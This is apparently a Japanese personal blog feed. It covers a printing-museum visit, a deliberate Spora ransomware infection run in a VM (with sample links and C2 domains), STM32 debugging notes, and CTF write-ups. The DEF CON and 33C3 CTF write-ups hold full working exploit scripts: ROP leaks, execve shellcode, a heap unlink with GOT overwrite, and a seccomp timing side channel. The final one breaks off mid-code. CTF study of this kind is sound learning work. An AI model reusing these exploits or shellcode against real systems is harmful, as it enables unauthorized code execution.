印刷博物館に行ってきた
マツコの知らない世界というテレビ番組で、絶対フォント感を持つフォント好きの数学教師が出演しました。 自分が好きなフォント、ロダン Pro DBで事項紹介用のフリップをマツコさんに見せたところ、 「普段のフリップのフォントの方が見やすい」と一蹴された場面と、 「そ」の字形の違いに疑問を持ったことがフォントにはまったきっかけだったという話が特に好きです。
# 僕がフォントにはまったきっかけはMicrosoft OfficeのWordでした。
番組の放映後に印刷博物館で「印刷書体のできるまで」という企画展が開催されていることをTwitterで知りました。 この総合展示は6/18(日)まで開催されています。まだまだ間に合いますよ。
印刷博物館:P&Pギャラリー > 印刷書体のできるまで 活字書体からデジタルフォントへ
2017/6/1に上京予定があり(理由はお察しの通り)、夕方前まで予定が無かったので早起きして10時に到着するようにがんばりました><
印刷博物館は凸版印刷の建物の中にあります。 有楽町線・江戸川橋駅から行くと、川に沿って歩くだけで到着して楽です。 有楽町線はめっちゃ空いていました。 建物はTOPPANと書かれた半円筒形の建物の裏に有るので駅の出口からよく見えます。
1Fの総合展示の入り口のすぐ近くにコインロッカーがあります!お金が戻ってくるタイプです。(ありがたや〜
企画展のメインは凸版文久明朝体ができるまでです。 ラフ〜デザイナーと監修者のやりとり〜墨入れによる清書〜ベクター化〜ベジェ曲線の調整〜レビュー〜完成、という流れです。 印象に残ったことを箇条書きします(メモは取ってないので曖昧です)。
- スキャンするまでは方眼紙上でデザインしている
- デジタル化した後は1000☓1000マスのグリッドを基準に考える(へー
- 線の太さは 24/1000 という具合に指定する
- ラフや下書きの線がガタガタ
- レビューのときに、
- ひらがなと漢字のうろこの向き(左or右)が違うことで議論していた(確か)。この辺は一度も気にしたことがなかった
一旦展示室を出て、室内のエスカレータで地下1階に行きました。 総合展(常設展示)が目的です。 お金を払って入ると、甲骨文字からデジタルディスプレイまでの文字や印刷が関わるものが壁一面に埋め込まれていました。 ドン引きしたのは箱の中にパラパラ漫画が入っていて、横に付いたハンドルを回してパラパラ漫画を見るというクソうるさいものがあったことです。 (なんでこんなものが。ノードでええやんけ)
このエリアが終わると大きい部屋に着きます。 近代・現代の版画、近世の出版物、昭和なポスター、クソデカいフォトレタッチの機械、 それと、母型をレーンに入れといて、キーボードをタイプすると、対応する母型が落っこちて(スペースだとスペーサーみたいのが落っこちます)、行ごとに鉛の版を作る超ドン引きな機械があったりしておもしろかったです。
印象に残ったのは、
- 『ルソーの森の考える虹猿』(後述)
- 杉田玄白の頃に使われていた解剖道具(実物っぽい)
- 富嶽三十六景(浮世絵)が版画の要領で多色刷りされる様子(色が載ってく様子を段階的に観察できるようになっている)
- インクが出すぎてしまう、残念なカレンダー印刷機
- 先のドン引き機械を使った印刷方法を説明するビデオに出てた人♂の髪型が近世ヨーロッパにありがちなきのこカットでかわいいですな
- 最近坊っちゃんカット流行ってるね
- 昔の写真のレタッチから現像までする様子を模したジオラマ(イラストだと別の角度から見れないのでジオラマの良さが活かされていてよかった)
- ICを作るとき使うフォトマスクって、美術で習ったエッチングっすな。これじゃ凸版印刷が電子回路系に手を出すのも仕方ないね(コナミ感)
あと意外だったのは、
- I want you for U.S. army のポスター(実物?;帽子を被って指差しするおっさんのポスター)があった
下の写真は僕が作ったカレンダーです。 これは体験型の展示物で作ったものです。 日付の数字だけは印刷してあって、残りをスタンプ式の機械4台を使って印刷しようというコンセプトの展示です。 最初の1台以外はインクが出すぎてしまうという極悪仕様で、見事に残念なカレンダーとなってしまいました><
最後に、企画展をもう一度回った後、ミュージアムショップで虹猿のポストカードとフォントかるた(2,500円!)を買いました。 ポストカードの方は色遣いが凄まじいですな。 悲しいことに、かるたを買ったは良いものの、一緒に遊んでくれそうな人がいません(にゃーん
SporaのChrome font.exeを動かしてみたけど、Decryption Errorでコンソールが表示できなかった話
例の「マルウェア解析に必要な素養」に書きましたが、2017年1月からランサムウェアのSporaが出現しています。 一般的なランサムウェアが壁紙を変えて脅迫文を表示する一方で、SporaはWebコンソール(管理画面)を犯罪者とのやり取りに使う変わったランサムウェアです。 今日はそのコンソールのスクショを取るためだけにSporaに感染してみることをしてみましたが、うまくいかなかった話をします。
Sporaの入手
SporaはChromeユーザーにフォントのインストールをダイアログで指示してきます[1]。 hybrid-analysisでsporaタグが付いたレポートからして、Chrome font.exeというのがそのときのファイルっぽいので、次のレポートに添付されている検体を入手しました。
- 検体1:https://www.hybrid-analysis.com/sample/5a67dbbf83535f21a29adf3e5045da02b115bfce13e790d70f87633cda88c868?environmentId=100
- 検体2:https://www.hybrid-analysis.com/sample/b63d7f75bfc87b73e53acb5259906112f0913efa64e8a7c2f45fb0a12c2b0b89/?environmentId=100
- 検体3:https://www.hybrid-analysis.com/sample/7d5e776ac62c5946fea3a293b1e542049e3e157af1457bfa9780661a1e8e217e?environmentId=100 ※動作せず
わざと感染
感染ステップ:
- 光回線端末とルーターの電源を落として、またつなぐ(=PPPoEセッションの貼り直し=グローバルIPアドレスの変更)
- 感染前のスナップショットに復元してあるVMに暗号化されるファイルと検体を投入
- 検体を実行→Cドライブのファイルが暗号化されるっぽい(VirtualBoxの共有フォルダ内も暗号化されます!)
Windows 8のVMのデスクトップにjpgファイルとxlsxファイルをおいてChrome font.exeを走らせました。
感染後、ファイルが暗号化され、各フォルダにIDに".html"がついたhtmlファイルが生成されました。 IEが立ち上がり、アカウントのログイン画面のようなものが表示されます。
リンク先を開くとファイルを復号できることを確認するステップが始まりますが、1つファイルを送った後にエラーが出て先に進めませんでした。
Wireshark: https://packettotal.com/cgi-bin/view-analysis.cgi?id=5403d67eddb25e570a4b15db7e505588
インテリジェンス的な情報
SporaがWebコンソールを以下のドメインで動かしています・いました(?)
- 検体1→http://spora.li/
- 検体2→http://spora.store/ (※connection timeout)
IDは例えばこんな感じです。国のコードが付記されるのが特徴です。
- JP53B-9ERTZ-TZTZT-FTHYY
- JP7D0-37RTZ-TZTZT-FTHYY
- JPEB6-0DHTZ-TZTZT-XZTHY
- JP182-1EXTZ-TZTZT-FTXYY
参考文献
[1] 2017年第1四半期 セキュリティラウンドアップ | トレンドマイクロ
コードを抜き差ししてたらPPPoE接続後に外に繋がらなくなりがちになった…
DEF CON CTF 2017 Quals - smashme, beatmeonthedl, mute の 簡易Writeup
TomoriNaoでDEF CON CTF 2017 Quals(2017/4/28 9:00 JST - 2017/5/1 9:00 JST;48時間)に出ていました。 チームのSlackには私しかいなくて、ただただ寂しかったです。
TomoriNaoは 126 pts. で 122位 でした。
簡易Writeupと称して簡単なバイナリの挙動の解説・アプローチを書いて、エクスプロイトコード・結果を貼っておきます。 生々しさのためにコードはきれいにしてません。
解いたのは下の3つです。100点submitを目標にしていたので満足です。
- Baby’s First - smashme (TODO pts.)
- Baby’s First - beatmeonthedl (TODO pts.)
- Potent Pwnables - mute (TODO pts.)
smashme
バイナリの挙動
- BOF(stack smashing)させてくれる
アプローチ
- ROPによりinformation leak
- main呼び出し
- shellcode送信
- shellcode呼び出し
shellcodeはshellstormにあるやつで十分です。rwxな領域(スタック)にペイロードが置かれますので。
information leakフェーズでは、bssにある変数Xをうまいこと見つけてputs(X)すればいいです。 bssの変数にこだわったのはアドレスが既知だからです。 今回はenvironという謎変数を使いました。
リモートの環境はUbuntu 14.04 LTSだということをエスパーで予見しないと調整が難しいかもしれません。
エクスプロイトコード
コードを振り返っているとすんなりいかない部分があったことが思い出されますが、なんでこんな書き方をしたのか全然覚えてませんorz
from pwn import * from sys import argv BIN = "./smashme" # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # http://shell-storm.org/shellcode/files/shellcode-603.php # shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05" # shellcode = "\x48\x89\xEC" + shellcode # mov rsp,rbp shellcode = "\x48\x89\xE5" + shellcode # mov rbp,rsp # shellcode = "\x48\x83\xEC\xf0" + shellcode # sub rsp, N shellcode = "\x48\x83\xC4\x40" + shellcode # sub rsp, N def bp(): global REMOTE if not REMOTE: raw_input("break point: ") REMOTE = False if len(argv) > 1: if argv[1] == "r": REMOTE = True r = None offset = {} if REMOTE: r = remote("smashme_omgbabysfirst.quals.shallweplayaga.me", 57348) else: r = process(BIN) prefix = "Smash me outside, how bout dAAAAAAAAAAA" payload = prefix + shellcode.ljust(33, "\x90") + p64(0x6d0c30+7) # payload = prefix + shellcode + "\x90" * 3 + p64(0x7fffffffe1f0 + 7) with open("payload", "w") as f: f.write(payload) # if not REMOTE: # exit() # context.log_level = 'debug' # if not REMOTE: # r.sendline("") print r.recvline() # bp() # bss_stdin = 0x6c9748 # bss_obj = 0x6cc238 # 0x6cc238 <_dl_sysinfo_map>: 0x00000000006ce210 bss_environ = 0x6cb640 # addr_push_rsp_ret = 0x0044611d addr_pop_rdi_ret = 0x00401942 addr_puts = 0x40fca0 addr_main = 0x4009ae rop_chain = [ p64(addr_pop_rdi_ret), p64(bss_environ), # p64(0x4a06d8), p64(addr_puts), p64(addr_main), ] r.sendline(prefix + "".ljust(33, "\x90") + ''.join(rop_chain)) # if not REMOTE: # r.sendline("") # r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?\n") # res = r.recvline().replace('\n', '') res = r.recv(6) addr = u64(res.ljust(8, '\0')) print "addr = %#x" % addr shellcode_addr = addr + (0x7fffffffe297 - 0x00007fffffffe408) + 0x20 print "shellcode addr = %#x" % shellcode_addr # r.interactive() r.recvline() bp() payload = prefix + shellcode.ljust(33, "\x90") + p64(shellcode_addr) r.sendline(payload) # r.sendline("ls") r.interactive()
結果
vagrant@vagrant-ubuntu-trusty-64:/vagrant$ python smashme.py r [+] Opening connection to smashme_omgbabysfirst.quals.shallweplayaga.me on port 57348: Done Welcome to the Dr. Phil Show. Wanna smash? addr = 0x7fff7dbc8508 shellcode addr = 0x7fff7dbc83b7 [*] Switching to interactive mode Welcome to the Dr. Phil Show. Wanna smash? $ ls flag smashme $ cat flag The flag is: You must be at least this tall to play DEF CON CTF 5b43e02608d66dca6144aaec956ec68d
beatmeonthedl
バイナリの挙動
- mallocのチャンクへのポインタのテーブルがbssに置かれる
- チャンクの中にはポインタがないのでポインタテーブルをいじるっ問題ぽい
- チャンクサイズが0x40に対して0x80バイトの書き込みが可能(自明なヒープBOF)
- コンパイル条件的にGOT Overwrite可能
- スタックが実行可能(wrx)
アプローチ
- Ubuntu 14.04だから古いlibc固有の脆弱性が使える?(←よく知らん)とか考えて、katagaitaiの第1回の資料を見ていたら、Unlink Attackが使えそうなヒープの構造と分かった
- information leak:スタックの何らかのアドレスは、loginの"Invalid user"のエラーメッセージでリークできる
- ポインタのテーブルを書き換えて、任意のメモリ書き換えを実現
- 実行可能領域であるスタック(wrx)にshellcodeを書き込む
- GOT Overwrite→shellcode呼び出し(今回はputsを犠牲にした)
別記★
- 直上のチャンク(Xとする)は使用中なのに、それに隣接したprev inuseビットを消したチャンク(Yとする)をfreeする
- consolidateが働いたときに(たぶん)、「Xの0〜8バイト(fd)の値+0x18」のアドレスの内容を「Xの8〜16バイトの値(bk)」で上書きできる
エクスプロイトコード
from pwn import * from sys import argv from time import sleep BIN = "./beatmeonthedl" # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # http://shell-storm.org/shellcode/files/shellcode-603.php # shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05" syscall_exit_1 = "\x6A\x3C\x58\x6A\x01\x5F\x0F\x05" def bp(): global REMOTE if not REMOTE: raw_input("break point: ") REMOTE = False SOCAT = False if len(argv) > 1: if argv[1] == "r": REMOTE = True if argv[1] == "r": SOCAT = True r = None offset = {} if REMOTE: r = remote("beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me", 6969) elif SOCAT: r = remote("localhost", 6969) else: r = process(BIN) """menu I) Request Exploit. II) Print Requests. III) Delete Request. IV) Change Request. V) Go Away. """ def request(text): r.sendline('1') r.send(text) res = r.recvline() if "[-] Request list full" in res: log.warn(res) r.recvuntil('| ') return False r.recvuntil('| ') return True def print_req(): r.sendline('2') res = r.recvuntil('| ') req = [] for x in res.split('\n'): if len(x) > 1: if x[0] in "0123456789": no, data = x.split(')')[:3] data = data[1:] req.append((no, data)) return req def delete(no): r.sendline('3') r.sendline("%d" % no) # print r.recvuntil('| ') def change(no, text): r.sendline('4') r.sendline("%d" % no) if len(text) > 0x80: log.fatal("too log data") r.recvuntil("data: ") r.send(text) r.recvuntil('| ') patt = 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y' r.sendline(patt[:40]) r.recvuntil("Invalid user: ") res = r.recvline().strip()[-6:] addr = u64(res.ljust(8, '\x00')) log.info("leaked addr = %#x" % addr) mapped_base_addr = (addr - 0x1f000) & ~0xfff if REMOTE and len(argv) == 3: mapped_base_addr += int(argv[2], 16) * 0x1000 log.info("arrange offset = %#x" % int(argv[2], 16)) log.info("mapped_base_addr = %#x" % mapped_base_addr) r.recvuntil('Enter username: ') r.sendline('mcfly') r.recvuntil('Enter Pass: ') r.sendline('awesnap') r.recvuntil('| ') # for i in range(32): # for i in range(4): for i in range(2): # succ = request(chr(97 + i) * (0x80)) succ = request(chr(97 + i) * (0x10)) if not succ: break # list_ptr = 0x609e80 # 0 0x60a030 # 1 0x60a070 # 2 0x60a0b0 # 3 0x60a0f0 print print_req() ### 2 request(syscall_exit_1.ljust(0x10 - 5, "\x90") + "\xe9\x08\x00\x00\x00" + "\x90" * 0x10 + shellcode) # context.log_level = 'debug' ### 3 request("c" * 0x10) ### 4 request("d" * 0x10) # mapped_base_addr = 0x00007ffffffde000 ptr_reqlist = 0x609e80 #### reqlist[2] = mapped_base_addr change(3, (p64(ptr_reqlist + 0x8 * 2 - 0x18) + p64(mapped_base_addr) + "XXXX").ljust(0x30, "\x90") + ''.join([ p64(0x40), # prev_size p64(0x42), # size ])) delete(4) log.info("reqlist[2] has overwriten") bp() sleep(1) # context.log_level = 'debug' change(2, ("\x48\xBF" + p64(mapped_base_addr + 0x40)[:6] + "\x00\x00\x57\xC3").ljust(0x40, "\x90") + shellcode) log.info("injected shellcode to reqlist[2]") bp() main_addr = 0x40123c heap_base_addr = 0x0060a000 plt_got = {"puts": 0x609958} shellcode_addr = mapped_base_addr log.info("shellcode addr = %#x" % shellcode_addr) assert(shellcode_addr & 0x00007ff000000000 == 0x00007ff000000000) log.info("change(0, ...)") change(0, (p64(plt_got["puts"] - 0x18) + p64(shellcode_addr + 0)).ljust(0x30, "\x90") + ''.join([ p64(0x40), # prev_size p64(0x42), # size ])) log.info("=== [got overwrite] ===") log.info("delete(1)") bp() r.sendline("3") r.sendline("1") # context.log_level = 'debug' r.interactive()
結果
K_atc% python2 beatmeonthedl.py r [+] Opening connection to beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me on port 6969: Done [*] leaked addr = 0x7ffe3b12a4b0 [*] mapped_base_addr = 0x7ffe3b10b000 [('0', 'aaaaaaaaaaaaaaaa'), ('1', 'bbbbbbbbbbbbbbbb')] [*] reqlist[2] has overwriten [*] injected shellcode to reqlist[2] [*] shellcode addr = 0x7ffe3b10b000 [*] change(0, ...) [*] === [got overwrite] === [*] delete(1) [*] Switching to interactive mode 0) @\x99` 1) bbbbbbbbbbbbbbbb 2) H\xbf@\xb0\x10;\xfe\x7f 3) x\x9e` choice: $ ls beatmeonthedl flag $ cat flag The flag is: 3asy p33zy h3ap hacking!!
mute
バイナリの挙動
- シェルコードをmappedされた領域に置いて
call rdx
で呼び出してくれる親切設計 - seccompを使用したサンドボックス問
- 下のような感じで、そこに併記したシステムコールだけが許可されている(面倒なのでltraceから推測)
- パケットのペイロードが来る度に、先頭アドレスから書き込むような挙動をする。0x100ごとに繰り返し送ると動く
seccomp_init(0, 0x7ffff7bb99e0, 0, -1) = 0x602010 seccomp_arch_add(0x602010, 0xc000003e, 0x602060, 1) = 0xffffffef seccomp_rule_add(0x602010, 0x7fff0000, 0, 0) = 0 read seccomp_rule_add(0x602010, 0x7fff0000, 2, 0) = 0 open seccomp_rule_add(0x602010, 0x7fff0000, 3, 0) = 0 close seccomp_rule_add(0x602010, 0x7fff0000, 4, 0) = 0 stat seccomp_rule_add(0x602010, 0x7fff0000, 5, 0) = 0 fstat seccomp_rule_add(0x602010, 0x7fff0000, 6, 0) = 0 lstat seccomp_rule_add(0x602010, 0x7fff0000, 7, 0) = 0 poll seccomp_rule_add(0x602010, 0x7fff0000, 8, 0) = 0 lseek seccomp_rule_add(0x602010, 0x7fff0000, 9, 0) = 0 mmap seccomp_rule_add(0x602010, 0x7fff0000, 10, 0) = 0 mprotect seccomp_rule_add(0x602010, 0x7fff0000, 11, 0) = 0 mumap seccomp_rule_add(0x602010, 0x7fff0000, 12, 0) = 0 brk seccomp_rule_add(0x602010, 0x7fff0000, 59, 0) = 0 execve seccomp_load(0x602010, 0, 0, 0) = 0
アプローチ
- writeができないので、動作をもとにflagを1ビットずつリークする
- 朝5時にサーバーが空き始めてきれいに解けた!
エクスプロイトコード
アセンブリの通り。
/home/mute/flag
をlseekを駆使して1ビットずつ読み出す。1だったら通信時間が長くなるようにループを実行する。
from pwn import * from sys import argv import os import struct import time BIN = "./mute" def bp(): global REMOTE if not REMOTE: raw_input("break point: ") REMOTE = False if len(argv) > 1: if argv[1] == "r": REMOTE = True READ_OFFSET = "0" BIT_MASK = "0xff" if REMOTE and len(argv) > 2: READ_OFFSET = argv[2] BIT_MASK = argv[3] if not REMOTE and len(argv) > 1: READ_OFFSET = argv[1] BIT_MASK = argv[2] def leak(READ_OFFSET, BIT_MASK): global BIN log.info("READ_OFFSET = " + READ_OFFSET) log.info("BIT_MASK = " + BIT_MASK) r = None offset = {} if REMOTE: r = remote("mute_9c1e11b344369be9b6ae0caeec20feb8.quals.shallweplayaga.me", 443) else: r = process(BIN) r.recvline() if REMOTE: LOOP_AMOUNT = "0x10000000" else: LOOP_AMOUNT = "0x100000000" shellcode = asm(""" push 0x0 mov rax, 0x67616c662f657475 push rax mov rax, 0x6d2f656d6f682f2f push rax push rsp pop rdi mov rsi, 0 mov rdx, 0 mov rax, 2 syscall push rax mov rdi, rax mov rsi, READ_OFFSET mov rdx, 0 mov rax, 8 syscall pop rax mov rdi, rax mov rsi, 0x00601100 mov rdx, 1 mov rax, 0 syscall mov rax, [0x00601100] and rax, BIT_MASK cmp rax, 0 jg end mov rax, LOOP_AMOUNT loop: dec rax cmp rax, 0 jne loop end: """.replace("READ_OFFSET", READ_OFFSET).replace("BIT_MASK", BIT_MASK).replace("LOOP_AMOUNT", LOOP_AMOUNT), arch = 'amd64', os = 'linux') # bp() # context.log_level = 'debug' start_time = time.time() # r.send(shellcode.ljust(0x1000, "\x90")) for i in range(0x10): r.send(shellcode.ljust(0x100, "\x90")) try: r.recv(0x1000) except EOFError: end_time = time.time() elapsed_time = end_time - start_time log.info("Connection Closed") print "elapsed time = %f" % elapsed_time r.close() return elapsed_time LOG_FILE_NAME = "bit-%d.log" if REMOTE: LOG_FILE_NAME = "r-"+LOG_FILE_NAME else: LOG_FILE_NAME = "l-"+LOG_FILE_NAME f = open(LOG_FILE_NAME % time.time(), "w") for i in range(0x0, 0x90): for j in range(8): elapsed_time = leak(hex(i), hex(1 << j)) f.write("%d, %d, %f\n" % (i, j, elapsed_time)) f.flush() time.sleep(1) f.close()
計測結果をフラグ化するスクリプト。フラグが思ったより長くてログを結合するはめに。
data = [] with open("r-bit-1493583250.log") as f: data = f.read().strip().split("\n") with open("r-bit-1493584813.log") as f: data += f.read().strip().split("\n") with open("r-bit-1493585321.log") as f: data += f.read().strip().split("\n") flag = [] for i in range(0x90): flag.append(list("0b00000000")) threthold = 0.5 for x in data: i, j, t = x.split(',') i, j, t = int(i), int(j), float(t) if t < threthold: flag[i][-(j+1)] = "1" buf = "" for i in range(0x90): # print ''.join(flag[i]) d = int(''.join(flag[i]), 2) buf += chr(d & 0xff) print buf
結果
vagrant@vagrant-ubuntu-trusty-64:/vagrant/mute$ python log2flag.py The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
floatを解きたかったです。IEEE 754形式の32ビット浮動小数群が実行可能領域に格納されて、それを実行するキ○ガイな問題です。ゼロが入っちゃってどうすればいいのかよく分からなかったです。
手元で実行できないバイナリが配布される問題がいくつかあったんですけど、なんだったんですかね。
来年は200点ぐらいとりたいですねー。(果たしてどのチームで出ることになるのやら…)
NUCLEO-L152REにわざわざST-Link v2を接続してOpenOCDで接続してみた
NUCLEO-L152REにはオンボードでST-Link v2が搭載されているため、ST-Link v2のようなUSB JTAG/SWDデバッガは必要ありません。
今回はわざわざST-Link v2をデバッガ、NUCLEO-L152REをターゲットとして、OpenOCDを使ってみたいという試みです。 この試みには有益性が全く無いですが、はまりどころがあったのでブログに残しておきます。
OpenOCDはgit版を使っています。
K_atc% openocd -v Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html
ピン接続
デバッガ側は、ST-LinkのSTM32と書かれた20ピンを使います。 ピンの割り当ては下の図のようになっています。
図は ULINK2 User's Guide: Target Connectors より
Nucleo側はCN2(ST-Link)ピンに刺さっているジャンパーを外して、CN11、CN12に取り付けます。 ジャンパーを無くさないように設計されていてとてもいいですね〜
SWDの場合
CN2を上から(USBポートがある方を上にする)ピン1、ピン2、ピン3、ピン4とします。 メスーメスのジャンパーコードを下表の対応関係で接続します。
Nucleo側 | ST-Link側 |
---|---|
1 | 1 (VCC) |
2 | 9 (SWCLK) |
3 | 4 (GND) |
4 | 7 (SWDIO) |
JTAGの場合(試行中)
CN4を上から(USBポートがある方を上にする)ピン1、ピン2、…、ピン6とします。
メスーメスのジャンパーコードを下表の対応関係で接続します。
※をつけたポートはCN2のポートを使用したほうがいいかもしれないです?(OpenOCDに target voltage may be too low for reliable debugging
と怒られてしまう)
Nucleo側 | ST-Link側 |
---|---|
1 | 1 (VCC) ※ |
2 | 9 (JTCK) ※ |
3 | 4 (GND) ※ |
4 | 7 (TMS/JDIO) ※ |
5 | 3 (nRST) |
6 | 13 (TDO/SWO) |
OpenOCD
ダメな接続例:USB電源を2箇所からとる
openocdのどのスクリプトファイルを使えばいいのかわかりませんでした。 最初はオンボードのデバッガに接続してしまわないように、Nucleoの電源は別のPCからとっていました。 そしたらOpenOCDの起動時のチェックで、ターゲットの電圧が0Vだったり1.5V以下だったりしてエラーになりました。 GNDのレベルがST-LinkとNucleoで違うからなんでしょうね。
よい接続例:USBを同じところからとる
2本のUSBを同じPCに接続するということです。
OpenOCDのスクリプトファイル(-f
オプションで渡すファイル)を次の要領で作成しました。
ベースのディレクトリはインストール先によって変わるかもしれません。
# openocd -s /usr/share/openocd/scripts -f interface/stlink-v2.cfg -f target/stm32l1.cfg # でもよい。 [f:id:katc:20170424162753p:plain] cat /usr/share/openocd/scripts/interface/stlink-v2.cfg /usr/share/openocd/scripts/target/stm32l1.cfg > stlink-v2-stm32l1.cfg
SWD/JTAGのどちらの場合も、cfgファイルが対応しているはずなのにjtagで接続できない…
あとはopenocdコマンドを叩いて、デバッガのランプが緑と赤で交互に点滅したら接続完了です。
[root@K_atc nucleo-l152re]# openocd -f stlink-v2-stm32l1.cfg Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html Info : auto-selecting first available session transport "hla_swd". To override use 'transport select <transport>'. adapter speed: 300 kHz adapter_nsrst_delay: 100 Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD none separate Info : Unable to match requested speed 300 kHz, using 240 kHz Info : Unable to match requested speed 300 kHz, using 240 kHz Info : clock speed 240 kHz Info : STLINK v2 JTAG v27 API v2 SWIM v6 VID 0x0483 PID 0x3748 Info : using stlink api v2 Info : Target voltage: 3.183191 Info : stm32l1.cpu: hardware has 6 breakpoints, 4 watchpoints
参考
STM32NucleoでLチカ(mbed/C++)
時間がないので手短にまとめます。
必要なもの
- STM32のNucleo(僕は、NUCLEO-L152REを使用)
- USB Mini-B ケーブル
- mbed(僕はARMmbed/mbed-osのmake.pyをビルドツールとして使用)
調査
NucleoのLD2(緑色のユーザー用LED)のポートを調べる
NucleoのUser ManualからPA5、つまりマイコンから見てPortA[5]だと分かります。
PortAのベースアドレスと中身を調べる
STM32LのデータシートからPortAのベースアドレスが0x4002_0000と分かります。
PortAが割り当てられた領域のレジスタ割り当ては、以前STM32F7のときと変わらないと思ったのでそのときに判明したことを参考にしました(細かいことはソースコード参照)。
Lチカコード(main.cpp)
#include "mbed.h" #define DURATION 0.15 #define PORT_A (0x40020000) #define MODER (0x0) #define ODR (0x14) #define PORT_A_ODR ((volatile int*)(PORT_A + ODR)) #define PORT_A_MODER ((volatile int*)(PORT_A + MODER)) void ld2_on() { volatile int* cur = (volatile int *) (PORT_A + ODR); *PORT_A_ODR = *cur | 1 << 5; } void ld2_off() { volatile int* cur = (volatile int *) (PORT_A + ODR); *PORT_A_ODR = *cur & ~(1 << 5); } // ↓やらなくても動く。この関数の処理は嘘なのでやってはいけない void init_ld2() { // output mode volatile int* cur = (volatile int *) (PORT_A + MODER); *PORT_A_MODER = *cur | 1 << (2 * 5); // PA5 ld2_off(); } int main() { for(int i = 0; i < 1000; i++) { ld2_on(); wait(DURATION); ld2_off(); wait(DURATION); } ld2_on(); return 0; }
参考
- NucleoのUser Manual (pdf): http://www.st.com/content/ccc/resource/technical/document/user_manual/98/2e/fa/4b/e0/82/43/b7/DM00105823.pdf/files/DM00105823.pdf/jcr:content/translations/en.DM00105823.pdf
- STM32Lのデータシート (pdf): http://www.st.com/content/ccc/resource/technical/document/datasheet/66/71/4b/23/94/c3/42/c8/CD00277537.pdf/files/CD00277537.pdf/jcr:content/translations/en.CD00277537.pdf
33C3 CTF - babyfengshui (pwn150) ほかの writeup
2016/12/29 5:00から48時間開催の33C3 CTFにPing-Mic(今回は新人くんと2人)で参加しました。 結果は91位で525点です。次の問題を解きました。
- babyfengshui (pwn150)
- exfill (for100)
- pdfmacker (misc75)
で、pay2pwn (web200)とかいう典型的な問題をアシストして終わりです。
babyfengshui
ユーザー管理をする帳簿を模したプログラムがpwnの対象。
疑似Cコード:
struct STRUCT_USERS { STRUCT_USER* user; }; struct STRUCT_USER { // char* description; char* text; // char[] name; // size = 0x7c }; // size = 0x80 users[0]->name == users + 4 int number_of_X; // 0x804b069, starts with 0 STRUCT_USERS users; // 0x804b080 void getText(char* arg0, int arg1) { // 0x80486bb var_C = *0x14; fgets(arg0, arg1, *stdin); var_10 = strchr(arg0, 0xa); if (var_10 != 0x0) { *(int8_t *)var_10 = 0x0; } eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } void Update(int arg0) { var_1C = arg0; var_C = *0x14; if ((var_1C >= (number_of_X & 0xff)) || (users[var_1C] == 0x0)) goto update_exit; loc_804875e: printf("text length: "); // __isoc99_scanf("%u%c", 0x0, var_11); __isoc99_scanf("%u%c", 0x0, var_11, var_10); // esp = (esp - 0xc - 0x4) + 0x10; if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd; loc_80487b3: // ex. var_11 == 1145141919 puts("my l33t defenses cannot be fooled, cya!"); eax = exit(0x1); return eax; loc_80487cd: printf("text: "); getText(users[var_1C]->text, 0x7c); goto update_exit;u update_exit: eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } void Add(int arg0) { var_C = *0x14; var_14 = malloc(arg0); // arg0 is desicription size memset(var_14, 0x0, arg0); var_10 = malloc(0x80); memset(var_10, 0x0, 0x80); *var_10 = var_14; // users[i]->text = var_14 users[number_of_X] = var_10; printf("name: "); eax = *(int8_t *)number_of_X & 0xff; eax = *((eax & 0xff) * 0x4 + users); getText(eax + 0x4, 0x7c); number_of_X += 1; Update(number_of_X - 1); eax = var_10; ecx = var_C ^ *0x14; COND = ecx == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } function Delete { var_1C = arg0; var_C = *0x14; if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) { eax = *((var_1C & 0xff) * 0x4 + users); eax = *eax; free(eax); eax = *((var_1C & 0xff) * 0x4 + users); free(eax); *((var_1C & 